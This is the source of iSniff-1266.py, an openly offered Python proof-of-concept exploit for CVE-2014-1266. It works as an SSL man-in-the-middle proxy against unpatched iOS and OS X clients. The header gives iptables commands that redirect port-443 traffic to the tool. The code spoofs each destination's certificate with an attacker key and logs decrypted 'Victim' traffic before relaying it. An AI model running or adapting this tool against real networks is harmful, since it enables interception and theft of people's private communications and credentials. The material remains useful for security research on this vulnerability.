iSniff-1266.py

#!/usr/bin/python

'''
iSniff-1266.py

SSL man-in-the-middle tool / proof-of-concept exploit for CVE-2014-1266 
ServerKeyExchange signature validation flaw patched in iOS 7.0.6 and Mac OS X 10.9.2 

Successfully tested against iOS 7.0.4 devices

Written by hubert(a)pentest.com / @hubert3

Based on Twisted TCP proxy example at https://gist.github.com/habnabit/4670636 

Redirect SSL traffic from NAT'd clients to iSniff-1266 as follows:

# iptables -t nat -F PREROUTING
# iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 9999
# ./iSniff-1266.py

'''

from OpenSSL import SSL
from OpenSSL.crypto import *
from twisted.internet import defer, protocol, task, endpoints, ssl
from twisted.python import log, filepath
from struct import unpack
from socket import AF_INET, SOCK_STREAM, SOL_IP, socket
from sys import stdout
from color import *
SO_ORIGINAL_DST = 80

cert = {} #dictionary mapping IPs to certs

class ProxyClientProtocol(protocol.Protocol):
    def dataReceived(self, data):
        #log.msg("Client: %d bytes received from peer" % (len(data),))
        self.factory.peer.transport.write(data)
        #print data # response from website/server here

    def connectionLost(self, reason):
        #log.err("Client: peer disconnected; closing server's peer", reason)
        self.factory.peer.transport.loseConnection()

class ProxyClientFactory(protocol.ClientFactory):
    protocol = ProxyClientProtocol

    def __init__(self, peer):
        self.peer = peer

class ProxyServerProtocol(protocol.Protocol):
    def getCert(self, ip):
        if ip in cert.keys():
            log.msg('Cert cache hit %s: %s' % (ip, cert[ip].get_subject()) )
            return cert[ip]
        context = SSL.Context(SSL.TLSv1_METHOD)
        s = socket(AF_INET, SOCK_STREAM)
        s.settimeout(2)
        connection = SSL.Connection(context,s)
        connection.connect((ip,443))
        connection.setblocking(1) # this is bad, should use twisted defer / callback
        connection.do_handshake()
        cert[ip] = connection.get_peer_certificate()
        connection.close()
        log.msg('Cert fetched from '+ip+': '+warning('%s') % cert[ip].get_subject())
        return cert[ip]
        #code.interact(local=locals())

    def connectionMade(self):
        self._queuedData = []
        self.peer = None
        dst = self.transport.getHandle().getsockopt(SOL_IP, SO_ORIGINAL_DST, 16)        
        _, dst_port, ip1, ip2, ip3, ip4 = unpack("!HHBBBB8x", dst)
        self.dst_ip = '%s.%s.%s.%s' % (ip1,ip2,ip3,ip4)

        ctx = ssl.CertificateOptions(
                privateKey=load_privatekey(FILETYPE_PEM,open('server.key').read()),
                certificate=self.getCert(self.dst_ip),#load_certificate(FILETYPE_PEM,open('server.crt').read()),
                method=SSL.TLSv1_1_METHOD,
                dhParameters=ssl.DiffieHellmanParameters.fromFile(filepath.FilePath('dh_param_1024.pem'))
                )
        log.msg(info("Victim %s connecting -> %s") % (self.transport.hostname,self.dst_ip))
        (endpoints.SSL4ClientEndpoint(self.factory.reactor, self.dst_ip, 443, ssl.ClientContextFactory())
         .connect(ProxyClientFactory(self))
         .addCallbacks(self._gotPeer, self._peerConnectionFailed))
        self.transport.startTLS(ctx, self.factory)

    def _gotPeer(self, peer):
        self.peer = peer        
        self.peer.transport.writeSequence(self._queuedData)
        self._queuedData = None

    def _peerConnectionFailed(self, reason):
        log.err("Server: couldn't connect to peer", reason)
        self.transport.loseConnection()

    def dataReceived(self, data):
        log.msg(info("Victim %s:" % self.transport.hostname)+great_success("\n%s" % data))
        if self.peer is None:
            self._queuedData.append(data)
        else:
            self.peer.transport.write(data)

    def connectionLost(self, reason):
        #log.err("Server: peer disconnected", reason)
        if self.peer is not None:
            #log.msg("Server: closing client's peer")
            self.peer.transport.loseConnection()

class ProxyServerFactory(protocol.Factory):
    protocol = ProxyServerProtocol

    def __init__(self, reactor):
        self.reactor = reactor

def main(reactor):
    log.startLogging(stdout)
    endpoints.TCP4ServerEndpoint(reactor, 9999).listen(ProxyServerFactory(reactor))
    return defer.Deferred()

task.react(main, [])